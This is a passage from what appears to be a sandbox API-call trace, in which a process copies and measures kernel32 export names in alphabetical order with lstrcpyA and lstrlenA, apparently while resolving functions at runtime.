returned="CopyFileTransactedW" [0035.970] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0035.970] lstrlenA (lpString="COPYFILEW") returned 9 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0035.970] lstrlenA (lpString="COPYLZFILE") returned 10 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0035.970] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0035.970] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0035.970] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0035.970] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0035.970] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0035.970] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0035.970] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0035.970] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0035.970] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0035.970] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0035.971] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0035.971] lstrlenA (lpString="CREATEEVENTA") returned 12 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0035.971] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0035.971] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0035.971] lstrlenA (lpString="CREATEEVENTW") returned 12 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0035.971] lstrlenA (lpString="CREATEFIBER") returned 11 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0035.971] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0035.971] lstrlenA (lpString="CREATEFILEA") returned 11 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0035.971] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0035.971] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0035.971] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0035.971] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0035.971] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0035.971] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0035.971] lstrlenA (lpString="CREATEFILEW") returned 11 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0035.971] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0035.971] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0035.971] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0035.971] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0035.971] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0035.971] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0035.971] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0035.971] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0035.971] lstrlenA (lpString="CREATEJOBSET") returned 12 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0035.972] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0035.972] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0035.972] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0035.972] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0035.972] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0035.972] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0035.972] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0035.972] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0035.972] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0035.972] lstrlenA (lpString="CREATEPIPE") returned 10 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0035.972] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0035.972] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0035.972] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0035.972] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0035.972] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0035.972] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0035.972] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0035.972] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0035.972] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0035.972] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0035.972] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0035.972] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0035.972] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0035.973] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0035.973] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0035.973] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0035.973] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0035.973] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0035.973] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0035.973] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0035.973] lstrlenA (lpString="CREATETHREAD") returned 12 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0035.973] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0035.973] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0035.973] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0035.973] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0035.973] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0035.973] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0035.973] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0035.973] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0035.973] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0035.973] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0035.973] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0035.973] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0035.973] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0035.973] lstrlenA (lpString="CTRLROUTINE") returned 11 [0035.973] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0035.974] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0035.974] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0035.974] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0035.974] lstrlenA (lpString="DEBUGBREAK") returned 10 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0035.974] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0035.974] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0035.974] lstrlenA (lpString="DECODEPOINTER") returned 13 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0035.974] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0035.974] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0035.974] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0035.974] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0035.974] lstrlenA (lpString="DELETEATOM") returned 10 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0035.974] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0035.974] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0035.974] lstrlenA (lpString="DELETEFIBER") returned 11 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0035.974] lstrlenA (lpString="DELETEFILEA") returned 11 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0035.974] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0035.974] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0035.974] lstrlenA (lpString="DELETEFILEW") returned 11 [0035.974] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0035.974] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0035.975] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0035.975] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0035.975] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0035.975] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0035.975] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0035.975] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0035.975] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0035.975] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0035.975] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0035.975] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0035.975] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0035.975] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0035.975] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0035.975] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0035.975] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0035.975] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0035.975] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0035.975] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0035.975] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0035.976] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0035.976] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0035.976] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0035.976] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0035.976] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0035.976] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0035.976] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0035.976] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0035.976] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0035.976] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0035.976] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0035.976] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, 